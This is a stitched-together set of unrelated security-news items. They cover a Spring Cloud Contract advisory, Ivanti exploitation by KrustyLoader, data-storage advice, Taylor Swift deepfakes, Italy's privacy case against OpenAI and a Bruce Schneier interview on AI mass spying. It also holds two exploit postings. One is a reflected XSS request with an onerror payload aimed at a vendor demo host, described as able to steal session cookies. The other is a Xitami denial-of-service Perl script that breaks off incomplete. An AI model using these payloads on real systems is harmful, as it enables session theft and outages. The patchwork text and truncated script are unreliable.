In Spring Cloud Contract, versions 4.1.x prior to 4.1.1, versions 4.0.x prior to 4.0.5, and versions 3.1.x prior to 3.1.10, test execution is vulnerable to local information disclosure via temporary directory created with unsafe permissions through the shaded com.google.guava:guava dependency in the org.springframework.cloud:spring-cloud-contract-shade dependency.

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-22236

**Spring Cloud Contract vulnerable to local information disclosure**

Low severity GitHub Reviewed Published Jan 31, 2024 to the GitHub Advisory Database • Updated Jan 31, 2024

**Package**

maven org.springframework.cloud:spring-cloud-contract-shade (Maven)

**Affected versions**

\= 4.1.0

\>= 4.0.0, < 4.0.5

\>= 3.1.0, < 3.1.10

**Patched versions**

4.1.1

4.0.5

3.1.10

In Spring Cloud Contract, versions 4.1.x prior to 4.1.1, versions 4.0.x prior to 4.0.5, and versions 3.1.x prior to 3.1.10, test execution is vulnerable to local information disclosure via temporary directory created with unsafe permissions through the shaded com.google.guava:guava dependency in the org.springframework.cloud:spring-cloud-contract-shade dependency.

**References**

*   https://nvd.nist.gov/vuln/detail/CVE-2024-22236
*   https://spring.io/security/cve-2024-22236

Published to the GitHub Advisory Database

Jan 31, 2024

Last updated

Jan 31, 2024

GHSA-p6rp-mx85-m459: Spring Cloud Contract vulnerable to local information disclosure

A pair of recently disclosed zero-day flaws in Ivanti Connect Secure (ICS) virtual private network (VPN) devices have been exploited to deliver a Rust-based payload called KrustyLoader that's used to drop the open-source Sliver adversary simulation tool.
The security vulnerabilities, tracked as CVE-2023-46805 (CVSS score: 8.2) and CVE-2024-21887 (CVSS score: 9.1), could be abused

Cyber Attack / Network Security

A pair of recently disclosed zero-day flaws in Ivanti Connect Secure (ICS) virtual private network (VPN) devices have been exploited to deliver a Rust-based payload called **KrustyLoader** that's used to drop the open-source Sliver adversary simulation tool.

The security vulnerabilities, tracked as CVE-2023-46805 (CVSS score: 8.2) and CVE-2024-21887 (CVSS score: 9.1), could be abused in tandem to achieve unauthenticated remote code execution on susceptible appliances.

As of January 26, patches for the two flaws have been delayed, although the software company has released a temporary mitigation through an XML file.

Volexity, which first shed light on the shortcomings, said they have been weaponized as zero-days since December 3, 2023, by a Chinese nation-state threat actor it tracks under the name UTA0178. Google-owned Mandiant has assigned the moniker UNC5221 to the group.

Following public disclosure earlier this month, the vulnerabilities have come under broad exploitation by other adversaries to drop XMRig cryptocurrency miners as well as Rust-based malware.

Synacktiv's analysis of the Rust malware, codenamed KrustyLoader, has revealed that it functions as a loader to download Sliver from a remote server and execute it on the compromised host.

Image Credit: Recorded Future

Sliver, developed by cybersecurity company BishopFox, is a Golang-based cross-platform post-exploitation framework that has emerged as a lucrative option for threat actors in comparison to other well-known alternatives like Cobalt Strike.

That said, Cobalt Strike continues to be the top offensive security tool observed among attacker-controlled infrastructure in 2023, followed by Viper, and Meterpreter, according to a report published by Recorded Future earlier this month.

"Both Havoc and Mythic have also become relatively popular but are still observed in far lower numbers than Cobalt Strike, Meterpreter, or Viper," the company said. "Four other well-known frameworks are Sliver, Havoc, Brute Ratel (BRc4), and Mythic."

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Chinese Hackers Exploiting VPN Flaws to Deploy KrustyLoader Malware

By Waqas
With businesses continuing to generate a vast amount of data, from financial records to client information, understanding the…
This is a post from HackRead.com Read the original post: Best Methods for Storing, Protecting Digital Company Files: Secure Strategies for Data Safety

With businesses continuing to generate a vast amount of data, from financial records to client information, understanding the best methods to store and protect these digital files becomes imperative.

Efficient data storage and security practices are critical for ensuring that sensitive information remains confidential and intact.

Your approach to data storage and digital file management will impact everything from operational efficiency to regulatory compliance. Putting robust file security protocols can prevent data breaches, which preserves customer trust and protects your company’s reputation. 

It’s essential to establish a system where access to important files is controlled and monitored, reducing the risk of both internal and external threats. Let’s take a closer look at the best practices, benefits, and methods of secure file storage.

****Establishing Secure Digital Storage Practices****

As you approach the safeguarding of digital files, remember that the choice of storage solutions, access controls, and encryption methods are vital to preventing unauthorized access and data breaches. 

There are a couple of key features that you should be on the lookout for — but also keep in mind that the right storage solution will depend chiefly on the specifics of your business and your needs.

****Choosing the Right Storage Solutions****

When selecting storage solutions for your sensitive documents, consider a blend of cloud storage and physical hard drives. Cloud services offer scalability and remote access, with options like Google Drive leading the market. 

However, it’s crucial to ensure that the chosen service provides robust data security measures. On the other hand, hard drives should be used in a secure location with environmental controls to protect against physical damage.

****Implementing Access Controls****

Good practice dictates that you limit access to sensitive information. Implement strong access control measures, starting with unique passwords that are changed regularly. 

See to it that employees have access only to the data necessary for their roles — this principle of least privilege can significantly reduce the risk of a data breach. Use features like user access logs, real-time monitoring, and multi-factor authentication to enhance security.

****Data Encryption and Protection****

Securing your data with strong encryption is non-negotiable. Whether data is at rest or in transit, encryption acts as a robust lock that shields sensitive documents from unauthorized users. 

Make sure that any data storage service you employ uses advanced encryption standards. Additionally, implementing a consistent backup strategy will protect against data loss, keeping your company’s files recoverable in an emergency.

****Optimizing File Organization and Management****

To maintain an efficient digital workspace, it is crucial to cultivate robust file organization strategies and a reliable management system. This not only enhances productivity but also strengthens data security.

****Effective PDF Management****

Managing PDF files effectively is an integral part of a digitized workplace. Utilizing a comprehensive PDF editor enables you to directly modify PDF content, ensuring that your records remain current and accurate. 

Consistent categorization and naming of PDF files streamline retrieval, while the option to annotate allows for clearer communication within your team.

****Document Control and Versioning****

A systematic approach to document control is essential for ensuring the integrity of company records. Implement version control within your document management system to track changes over time, avoiding the confusion of multiple file versions. 

This records management practice provides a clear audit trail, demonstrating which team member made edits, what changes were made, and when they occurred. 

Establish a convention for file names that includes version numbers, which will make it easier to navigate through your digital filing system and locate the most recent version of a document.

****Protecting Against Data Loss and Theft****

In the digital era, safeguarding your company’s data from loss and theft is a multifaceted challenge that requires a dynamic and comprehensive strategy. 

This involves deploying a variety of critical tactics, including the implementation of robust backup strategies, vigilance against identity fraud, and comprehensive measures to thwart data leakage and theft. Each of these components plays a crucial role in creating a secure data environment

****Implementing Data Backup Strategies****

To effectively guard against the potentially catastrophic consequences of data loss, implementing a thorough and regular backup regimen is essential for any business. This approach should encompass several key components::

*   **Local backups**: Establish a routine for creating physical copies of important files. Use external hard drives, network-attached storage (NAS) systems, or even dedicated backup servers. Place these storage devices in a secure, environmentally controlled location to protect them from physical damage or environmental hazards. Regularly update these backups and test them to ensure data integrity.
*   **Offsite Backups:** Employ cloud-based services for offsite backups, offering another layer of security against local disasters such as fires or floods. Choose cloud providers known for their strong security measures and reliability. Ensure that these backups are encrypted and periodically test the recovery process to verify the speed and efficiency of data restoration.
*   **Backup Policies and Monitoring:** Develop clear and concise policies regarding the frequency and methods of backups. These policies should detail what data needs to be backed up, how often, and who oversees this process. Implement a monitoring system to routinely check the health and status of your backups.
*   **Diverse Backup Strategies:** Incorporate a mix of incremental and full backups. Incremental backups save time and resources by only backing up data that has changed since the last backup. Full backups, while more resource-intensive, provide a complete snapshot of your data at a specific point in time.

Establish clear policies on the frequency and method of backups. Ensure routine monitoring of backup processes to verify their integrity and functionality.

****Protecting Against Identity Fraud****

With the prevalence of the digital in today’s time, identity theft has become a significant threat. It’s important to stay aware of this risk, as well as emerging new attack methods such as synthetic identity fraud. To combat this, it’s imperative to:

*   **Educate and Train:** Regularly educate yourself and your employees about the latest trends in identity fraud. Conduct training sessions to recognize signs of fraudulent activities, such as unusual account behaviour or discrepancies in personal information.
*   **Stringent Verification Policies:** Implement and enforce rigorous identity verification processes. This could involve multi-layered verification techniques, including new advances in the field like biometric verification, in addition to traditional methods like passwords and security questions.
*   **Continuous Monitoring:** Maintain continuous monitoring of all activities within your systems. This involves real-time surveillance of transactional data, access logs, and user activities. Quickly identifying and responding to suspicious activities can prevent potential fraud.

****Preventing Data Leakage and Theft****

Data leakage and breaches pose significant risks. Develop a layered security approach involving both technological solutions and employee training to recognize and act on potential threats. To secure your documents from unauthorized access and theft:

*   **Use comprehensive encryption methods for sensitive information**. By Implementing state-of-the-art encryption methods for all sensitive information, you can ensure that data, whether at rest or in transit, is inaccessible to unauthorized users. Use industry-standard encryption protocols like AES (Advanced Encryption Standard) for stored data and SSL/TLS (Secure Sockets Layer/Transport Layer Security) for data in transit. 
*   **Implement strict access control measures**. This involves setting strong, unique passwords, implementing role-based access control systems, and regularly updating access rights based on employees’ current roles and responsibilities
*   **Regularly update systems to address security vulnerabilities**. Implement a systematic process for applying security patches and software updates to protect against known exploits. Regularly conduct security audits and vulnerability assessments to identify and mitigate potential weaknesses in your IT infrastructure

****Ensuring Legal Compliance and Record Keeping****

When managing your company’s digital files, it’s imperative to adhere strictly to legal and regulatory standards and to implement an archiving system that ensures future accessibility. This not only safeguards your sensitive documents but also maintains their integrity for legal and ownership verification.

****Adhering to Legal and Regulatory Standards****

For your contracts and sensitive documents, compliance with legal regulations is not optional. You must understand and apply the specific legal requirements that pertain to your industry and the type of records you handle. For instance:

*   **Contracts**: Store in a secure and encrypted format, allowing access only to authorized personnel.
*   **Sensitive Documents**: Implement policies that comply with privacy laws, such as GDPR or HIPAA, depending on your location and the nature of your business.

****Archiving for Future Accessibility****

Archiving is essential for records management and ensures that your documents remain accessible over time. Small businesses, in particular, need to establish archiving processes that allow for easy retrieval and clear documentation of records. Here are the steps you could follow:

1.  **Identification**: Determine which documents require archiving.
2.  **Categorization**: Organize documents in a way that supports your business operations.
    *   Legal Records: Sorted by case number or client name.
    *   Ownership: Grouped by asset or property type.
3.  **Selection of Archiving Solutions**:
    *   On-premise servers or cloud-based solutions can be used, each with its own benefits for storage and accessibility.

For long-term archiving and accessibility, consider exploring digital systems that cater to your firm’s needs.

****Conclusion****

Your organization’s documents, including financial reports, customer data, and intellectual property, are the lifeblood of your business—treat their security with the utmost priority. 

By incorporating these methods into your company’s policies, you’ll enhance the integrity and confidentiality of your digital files, reducing potential risks and loss. It’s not merely about compliance—it’s about building a resilient foundation for your business’s continued success and growth.

1.  **Approaching Complex Data Security for Small Businesses**
2.  **How Blockchain Can Revolutionize Personal Data Storage?**
3.  **What is the tokenization process and why it is so important?**
4.  **Cyqur Launches Data Encryption, Fragmentation Web Extension**
5.  **Insights on Google Cloud Backup and Disaster Recovery Service**

Best Methods for Storing, Protecting Digital Company Files: Secure Strategies for Data Safety

Explicit deepfake images of Taylor Swift caused problems on social media and caused politicians to ask for more legislation

Deepfake images of Taylor Swift have really made some serious waves. Explicit images of the popstar, generated by Artificial Intelligence (AI) were posted on social media and Telegram. The images were viewed millions of times.

The impact of the deepfake was enormous. Social media platform X (formerly known as Twitter) even blocked searches for Taylor Swift’s name, saying:

> “This is a temporary action and done with an abundance of caution as we prioritize safety on this issue.”

X’s policies say it explicitly prohibits the sharing of “synthetic, manipulated, or out-of-context media that may deceive or confuse people and lead to harm”, as well as the posting of Non-Consensual Nudity (NCN) images. But apparently it was not easy to quickly remove the images and take actions against the accounts that were posting them.

Searches for Taylor Swift and some related terms were also blocked on Instagram, instead displaying “the search terms used were sometimes associated with activities of dangerous organizations and individuals.”

The uproar about the fake images of the popstar was so loud that some politicians started calling for laws to prohibit the creation of deepfakes. While in many countries and some US states, the creation of deepfakes is prohibited, there are currently no federal laws against the sharing or creation of deepfake images.

In 2020 we discussed deepfake legislation in the United States. In a rare example of legislative haste, roughly one dozen state and federal bills were introduced in 2019 to regulate deepfakes, mostly out of fear that they could upend democracy.

Although it is doubtful that any law would have stopped the creation of the images, it might have blocked or dampened the rapid way in which the images were spread.

However, deepfakes started as a new form of pornography and most of the deepfakes created and posted online today are still of a pornographic nature. They also disproportionally target women, which should make appropriate legislation a bigger priority than being able to recognize deepfakes.

Like Adam Dodge, founder of the nonprofit End Technology-Enabled Abuse, or EndTAB, said a few years ago:

> “The reality is, when it comes to the battle against deepfakes, everybody is focused on detection, on debunking and unmasking a video as a deepfake. That doesn’t help women, because the people watching those videos don’t care that they’re fake.”

Well-known women, like actresses and musicians, are particularly at risk of falling victim to this type of abuse.

Taylor Swift herself is furious about the AI images circulating online and is considering legal action against the sick deepfake porn site hosting them.

Taylor Swift has a legal team at her disposal, but if you are the victim of “revenge porn” or other forms of non-consensual nudity, you should know it’s much easier to take down nonconsensual porn content than it used to be. A growing number of companies will voluntarily take down nonconsensual porn on their platforms, regardless of whether the victim owns the copyright.

For step-by-step instructions on how to report and take down nonconsensual porn across multiple technology platforms including Instagram, X (Twitter), Reddit, Tumblr, Google, Facebook, and TikTok, you can use Cyber Civil Rights Initiative’s new Online Removal Guide.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Deepfake Taylor Swift images circulate online, politicians call for laws to ban deepfake creation 

Italy's data protection authority (DPA) has notified ChatGPT-maker OpenAI of supposedly violating privacy laws in the region.
"The available evidence pointed to the existence of breaches of the provisions contained in the E.U. GDPR [General Data Protection Regulation]," the Garante per la protezione dei dati personali (aka the Garante) said in a statement on Monday.
It also said it

Generative AI / Data Privacy

Italy's data protection authority (DPA) has notified ChatGPT-maker OpenAI of supposedly violating privacy laws in the region.

"The available evidence pointed to the existence of breaches of the provisions contained in the E.U. GDPR \[General Data Protection Regulation\]," the Garante per la protezione dei dati personali (aka the Garante) said in a statement on Monday.

It also said it will "take account of the work in progress within the ad-hoc task force set up by the European Data Protection Framework (EDPB) in its final determination on the case."

The development comes nearly 10 months after the watchdog imposed a temporary ban on ChatGPT in the country, weeks after which OpenAI announced a number of privacy controls, including an opt-out form to remove one's personal data from being processed by the large language model (LLM). Access to the tool was subsequently reinstated in late April 2023.

The Italian DPA said the latest findings, which have not been publicly disclosed, are the result of a multi-month investigation that was initiated at the same time. OpenAI has been given 30 days to respond to the allegations.

BBC reported that the transgressions are related to collecting personal data and age protections. OpenAI, in its help page, says that "ChatGPT is not meant for children under 13, and we require that children ages 13 to 18 obtain parental consent before using ChatGPT."

But there are also concerns that sensitive information could be exposed as well as younger users may be exposed to inappropriate content generated by the chatbot.

Indeed, Ars Technica reported this week that ChatGPT is leaking private conversations that include login credentials and other personal details of unrelated users who are said to be employees of a pharmacy prescription drug portal.

Then in September 2023, Google's Bard chatbot was found to have a bug in the sharing feature that allowed private chats to be indexed by Google search, inadvertently exposing sensitive information that may have been shared in the conversations.

Generative artificial intelligence tools like ChatGPT, Bard, and Anthropic Claude rely on being fed large amounts of data from multiple sources on the internet.

In a statement shared with TechCrunch, OpenAI said its "practices align with GDPR and other privacy laws, and we take additional steps to protect people's data and privacy."

**Apple Warns Against Proposed U.K. Law**

The development comes as Apple said it's "deeply concerned" about proposed amendments to the U.K. Investigatory Powers Act (IPA) could give the government unprecedented power to "secretly veto" privacy and security updates to its products and services.

"It's an unprecedented overreach by the government and, if enacted, the U.K. could attempt to secretly veto new user protections globally preventing us from ever offering them to customers," the tech giant told BBC.

The U.K. Home Office said adopting secure communications technologies, including end-to-end encryption, cannot come at the cost of public safety as well as protecting the nation from child sexual abusers and terrorists.

The changes are aimed at improving the intelligence services' ability to "respond with greater agility and speed to existing and emerging threats to national security."

Specifically, they require technology companies that field government data requests to notify the U.K. government of any technical changes that could affect their "existing lawful access capabilities."

"A key driver for this amendment is to give operational partners time to understand the change and adapt their investigative techniques where necessary, which may in some circumstances be all that is required to maintain lawful access," the government notes in a fact sheet, adding "it does not provide powers for the Secretary of State to approve or refuse technical changes."

Apple, in July 2023, said it would rather stop offering iMessage and FaceTime services in the U.K. than compromise on users' privacy and security.

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Italian Data Protection Watchdog Accuses ChatGPT of Privacy Violations

Interactive Floor Plan version 1.0 suffers from a cross site scripting vulnerability.

    ## Title: Interactive-Floor-Plan-1.0-XSS-Reflected-SESSION-Hijacking## Author: nu11secur1ty## Date: 01/28/2024## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/interactive-floor-plan-software/#sectionDemo## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected## Description:The value of the action request parameter is copied into the HTMLdocument as plain text between tags. The payload epe7x<img src=aonerror=alert(1)>aagqb was submitted in the action parameter. Thisinput was echoed unmodified in the application's response. Theattacker can steal session cookies etc.STATUS: HIGH - Vulnerability[+]Exploit:```GETGET /1706426767_110/index.php?controller=pjFront&action=pjActionLoadCssepe7x%3cimg%20src%3da%20onerror%3dalert(1)%3eaagqbHTTP/1.1Host: demo.phpjabbers.comAccept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85Safari/537.36Connection: closeCache-Control: max-age=0Cookie: _ga=GA1.2.809339229.1706427310;_gid=GA1.2.1556395590.1706427310; _gat=1;_fbp=fb.1.1706427309936.1280956215;_ga_NME5VTTGTT=GS1.2.1706427311.1.0.1706427311.60.0.0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2024/Interactive-Floor-Plan-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/01/interactive-floor-plan-10-xss-reflected.html)## Time spent:00:35:00

Interactive Floor Plan 1.0 Cross Site Scripting

Senior Privacy Advocate David Ruiz speaks with Bruce Schneier about artificial intelligence, surveillance, and an era of "mass spying."

For decades, governments and companies have surveilled the conversations, movements, and behavior of the public.

And then the internet came along and made that a whole lot easier.  

Today, search engines collect our queries, browsers collect our device information, smartphones collect out locations, social media platforms collect our conversations with one another, and, depending on the country, governments either collect that same information from the companies that maintain it, or they gather it directly themselves by monitoring their people.

That’s a lot of data that, until now, has been difficult to parse at scale.

But cryptographer and computer security professional Bruce Schneier believes that’s going to change, all because of the advent of artificial intelligence.

Already equipped with reams of data, governments and companies will now be able to ask AI models to make conclusions _from_ the data, Schneier said, supercharging the human work of inquiry with the limitless scale of AI.

“Spying is limited by the need for human labor,” Schneier wrote. “AI is about to change that.”

In January, Senior Privacy Advocate David Ruiz (and host of the Lock and Code podcast) spoke with Schneier about the future of AI-enabled mass spying—the implications, the responses from the public, and whether there’s any hope in dismantling a system so deeply embedded in the modern world.

Below is an edited transcript of their conversation.

**DAVID RUIZ**: We know that mass surveillance has this “Collect it all” mentality—of the NSA, obviously, but also from companies that gather clicks and shares and locations and app downloads and all of that.

What is the mass spying equivalent of that?

**BRUCE SCHNEIER**: So, it’s “Collect it all,” but it’s “Collect different things.”

Let’s step back here.

We kind of know what mass surveillance, mass spying looks like. It’s the kind of thing we saw in former East Germany, where like 10 percent of the population spied on 90 percent of the population. And it was incredibly manpower intensive.

Now, we moved into a world of automatic mass surveillance with the rise of the internet and the rise of cheap data storage and processing. This is maybe 20 years ago, when companies and the NSA start collecting mass surveillance data, and that is metadata—the kind of data that Snowden talked about—data about data. Data from your phone, from your browser, who you spoke to, where you went, what you spent money on, what websites you visited, that’s kind of mass surveillance data.

> Spying, the difference I’m making, is about conversations.

And while computers were easily able to interpret location data and data about who you spoke to—your email “from” and “to” lines—they weren’t able to interpret what you said.  Voice conversations, text conversations, email conversations, they could do keyword searches and if you think about, Chinese censorship is based pretty naively on keyword searches. \[For instance,\] you say the bad word, you get censored. That’s still very primitive.

Spying—listening in on a conversation, knowing what people are saying—required human beings, and there weren’t enough humans to listen to everything. So, you had this automatic surveillance: We can know where everybody is, that’s easy.  But knowing what everybody’s saying, we still couldn’t do—we didn’t have the people.

As AI becomes increasingly capable of understanding and even having conversations, it can start doing the role that people used to do and engage in this kind of spying at a mass level.

Now, the question you asked started me in this monologue is what did that look like? And the answer is: We have no idea.

We kind of know what East Germany looked like, former Soviet Union. We do know what some of these countries look like. But I don’t think it’s the same. It is not this kind of mass spying by corporations. Or by democratic governments. So, we don’t know. But it’s worth at least thinking about. 

**DAVID RUIZ**: When I was trying to answer my own question, I feel like one of the potential futures here is, instead of “Collect it all,” it’s this attempt at “Know it all.”

**BRUCE SCHNEIER**: It always was “Know it all,” but now it becomes more possible.

**DAVID RUIZ**: Yeah, and I was hypothesizing that there might be companies that say “We have created a package of questions that we use on AIs that we know and trust to discover these new insights,” and \[they\] sell these packages to companies that are trying to find out XYZ and ABC about their customers, or governments about their persons.

And that already sounds awful. It sounds both boring and dreadful, which is what I think surveillance is today—it is boring operationally in terms of \[how\] we don’t see data brokers. We don’t see what gets collected every single day behind the interface of the web. But it is used so much to power the direction of the web.

**BRUCE SCHNEIER**: And my guess is that’s right. And it’s not actually boring. Certainly, the companies wanted you to think that. It is very hidden. Data brokers spent a lot of effort making sure that there’s no visibility into their industry, so we don’t know the data being collected on us.

But remember, this is still all surveillance data. It’s not the contents of your phone calls, it’s the billing information. It’s who you called, what time, how long you spoke, that kind of information. Maybe the location of your two phones when you were talking. This brings it up to another level. 

**DAVID RUIZ**: You mentioned that this is the conversations—the content of communications. And I wanted to address that immediately because I think whenever spying is discussed, a lot of folks picture someone rifling through text messages or emails. And I think some people might balk at that. They might say and reject the premise based on things like “Oh, Apple can’t look at my iMessages, and Google said it wouldn’t advertise based on email content some years ago, and my phone provider, I don’t think, is recording my phone calls.”

So, my question after those kinds of claims, is: Is that too narrow a lens to understand this future of mass spying? What am I missing when I say those things to calm myself down?

**BRUCE SCHNEIER**: I think it’s all economics. Google did realize that eavesdropping on the contents of your Gmail wasn’t terribly useful. So, they didn’t do it. Of course, they made a virtue out of it. That stuff will change.

We’re already seeing \[the questions of\] “Is this company using your data to train their AI? Will it be used to influence how an AI interacts with you?”\[And\] already we can see that the tones of voice we use with these AI chatbots is mirrored. They say they’re not storing it and using it for training—we don’t know the answer.

As this stuff becomes more valuable, as companies see a business interest in using it, of course it’s going to be used. It’s not going to be a world where we \[can\] rely on the goodness of the hearts of for-profit corporations not to abuse our privacy.

So, it’s a matter of how cheap it is. It is going to become cheap for Google to eavesdrop on the contents of everyone’s email conversations, or for Zoom to eavesdrop on all meetings? They currently say they’re not \[monitoring meetings in\] their terms of service, they’ll probably \[receive\] push back if they change it—they were already pushed back because there was a thought that Zoom would be using your information to train an AI. \[It\] turned out to not be true, but there was a little panic there. But how long does that last? 

We saw this with Facebook and their surveillance over the years and decades.

They did a new thing, there was a pushback, there’s an outcry, and after a couple months, it was the new normal. So, I don’t know where this is going to go, but the tech is moving to the point where this stuff is possible and, in fact, easy. 

**DAVID RUIZ**: We talked about the business case for \[AI-enabled mass spying\] and I wanted to ask more broadly: Who will engage in AI mass spying?

**BRUCE SCHNEIER**: The answer is going to be everybody who can.

Who are the major players here? Certainly there are corporations who are doing it for manipulation purposes. Surveillance is the business model of the internet because advertising is the business model of the internet, and advertising is convincing you to do something that you might not have done otherwise.

So, this surveillance-based manipulation is the business model, and anything that gives a company an advantage, they’re going to do. We \[already\] saw that with personalized advertising \[which is\] based on characteristics that you might not be happy sharing.

So, companies will do that.

Now, in the West, we tend not to have governments do this on their own citizens—they rely on corporations. The US government doesn’t spy on us directly, they get the spying data from corporations who do that to everybody.

You go to other countries, more totalitarian countries, and governments do engage in surveillance and will engage in spying. Here, I’m thinking about China, but other countries as well. So, very much think of it in terms of power:

> Those that have the power will engage in the behaviors because it magnifies their power. There is no surprise. 

**DAVID RUIZ**: There’s a lot of times where we could think “Why would a company do this? Why would a government do this?” And there’s a lot of alleged reasons. The NSA will say that it collects as much data as possible for national security reasons, but they’ve been saying that for decades, and the national security reason seems to change every few years, right? There’s a, there’s a “national security risk du jour.”

And it’s much easier and simpler to think of it as those that have power hope to keep that power and amass more of it.

I wanted to separately ask: We talked about corporations. We talked about governments. What about people? I have access to AI tools in a way that I don’t have access to data collection regimes.

So, are people going to spy on people?

**BRUCE SCHNEIER**:  People are already spying on people. It’s more one-on-one. There’s an entire industry of super creepy spyware that is sold to people who want to spy on their wives and girlfriends. This is kind of a gross industry, but it exists and it is used in many countries.

So, yes. But here again, the power matters, and it’s generally the more powerful spying on the less powerful in a relationship. It’s generally the man spying on the woman because that’s the power imbalance.

When you think about bulk surveillance, it’s access to the data.

I really can’t spy on my neighborhood. Sure, I can set up a camera in front of my house and watch what’s going on in my street, but that’s all I could do. I don’t have the power to put cameras everywhere. I don’t have the power to get your email or your Zoom stream.

So, I think you are going to see some use of these technologies by people who are not traditionally powerful. But in general, like all these technologies, they benefit the powerful more than the less powerful.

**DAVID RUIZ**: We know that people act differently when they know they’re being surveilled—will that also apply to mass spying?

**BRUCE SCHNEIER**: Certainly, people in the United States have lived out of this kind of regime in post-9/11. Lots of Muslims lived in a world where they were being spied on a lot.

Lots of people—Jon Penney comes to mind, there are others—have researched how the feeling that you’re under constant surveillance—or spying, they’re both the same here—leads to self-censorship.

If you think you are being watched all the time, you behave differently. We do know that there’s an enormous chilling effect on how you behave, what you do, on your conformity. And if you think you’re being watched all the time, you tend to conform. You’re not going to do something different. You’re not going to stand out.

> This seems really bad for society because that’s how society innovates. A world where people don’t try new things is a world that stagnates.

To take an easy example, about 10 years ago, I forget the year, gay marriage became legal in the United States, in all 50 states. It became the law of the land and that change was the result of a multi-decade process. For a while it was illegal and immoral, then it was illegal and moral, and then it became legal and moral.  And in order for that to happen—in order for that whole progression—somebody way back in the beginning had to try gay sex once and say: “You know, that wasn’t so bad. That was kind of fun.”

And the reason they were able to do that is that they weren’t being watched. They could do it in the privacy of their own bedroom and no one could stop them.

If you live in a world where, whether it’s gay sex or marijuana or whatever it is that becomes the mainstream moral norm over several generations, if you can’t try it, if there can’t be a counterculture of doing it, it never will become the social norm. If everybody who tried pot in the ‘50s was immediately discovered and arrested, you’d never get to legalization. You never would get a generation of people that would say, “You know, that’s not that bad. Why are we criminalizing this kind of not harmful drug?”

**DAVID RUIZ**: On the current environment that we live in, where so much surveillance happens every day—again, both from corporations and from governments—it doesn’t seem like there’s any way to dismantle it. And it feels like the potential of mass spying to produce even deeper insights means that we’ve lost the battle on surveillance. Have we lost that battle?

**BRUCE SCHNEIER**: I never think it’s too late, and that kind of fatalism doesn’t make sense when you look at history. It’s like saying in the 1200s, “Well, we tried to fight against monarchy. I guess that didn’t work. It’s too late.” Or centuries later, “You know, we tried to fight against slavery, that didn’t work.” Or, “You know, we’ll never give women the vote. That ship has sailed.”

> We, as a species, regularly make our society more moral, more ethical, more egalitarian. It’s slow, it’s bursty, but decade over decade, century over century, we are improving.

So, no, I don’t think from now until the end of our species, the level of surveillance we see today cannot be rolled back. I think that is ridiculous.

We no longer send five-year-olds up chimneys to clean them. We don’t do that. We changed. We no longer allow companies to sell pajamas that catch on fire. We changed. We can do that here.

Like the other big things, like monarchy, like slavery, like the patriarchy, these things are going to be hard to dismantle, but they are dismantlable.

Near term, I think you’re right. Near term, both companies and governments are just punch-drunk on our data, and they’re not going to give it up. But long term, lots of things are possible and will happen. 

**DAVID RUIZ**: I mean this as a high compliment: You are the most optimistic guest we’ve had on the podcast.

**BRUCE SCHNEIER**: I’m near term pessimistic and long term optimistic. Near term, I think we’re screwed. The tech monopolies are so powerful, and we saw that with social media. Both Republicans and Democrats agreed—this never happened before—that Facebook was harming our society in different ways, but it’s harming society. \[They\] called Zuckerberg in, called the other companies in, yelled at them, \[said\] something must be done, and nothing was done.

That is sheer lobbying power right there in operation.

So, near term, I don’t see any solution, but our species has handled harder problems than this. This won’t be the one that stumps us.

**DAVID RUIZ**: What do we do at this point? 

**BRUCE SCHNEIER**: I want this to be a political issue. This stuff changes when it becomes an issue that voters care about. If there is a debate question on this, if this becomes something that politicians are asked about, then change will happen, right? If it isn’t, then it is really just the lobbyists that get to decide what happens.

“What should we do?” is agitate for change. Make this political, make this something that politicians can’t ignore.

Where change is happening is the EU. You have listeners in the EU, and they will know that things are happening there. Right now, Europe is the regulatory superpower on the planet. They are the jurisdiction where we got a comprehensive data privacy law, where they are passing an AI security law, stuff that you would never see in the United States.

So, look outside the US right now, but make this political. That’s how we’re going to make it better.

But we’re fighting uphill. It’s very hard in the United States to enact policies that the money doesn’t want. Money gets its way in in US policy. And the money wants this. 

**DAVID RUIZ**: And I think disentangling money from politics in the United States is a different \[conversation\], and unfortunately we don’t have the time for it.

**BRUCE SCHNEIER**: No, surely you can solve that in half an hour.

**DAVID RUIZ**: Actually, are you booked for the next half hour?

**BRUCE SCHNEIER**: If I was able to solve that, I would be not doing what I’m doing now, because, you’re right, that might not be the most important problem, but as Professor Larry Lessig said, it’s the first problem. It’s a problem we need to solve to solve every other problem.

 In conversation: Bruce Schneier on AI-powered mass spying 

Xitami version 2.5b4 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Xitami 2.5b4 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 29 january 2024  
# Vendor Homepage: https://imatix-legacy.github.io/xitami.com/  
# Download to demo: https://drive.google.com/file/d/1hOVDRvk0KlZbHM4HeNhvhlbETbmQVEsf/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Xitami 2.5b4   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=Sxe6HIhAl4A

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to webserver.  
#The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

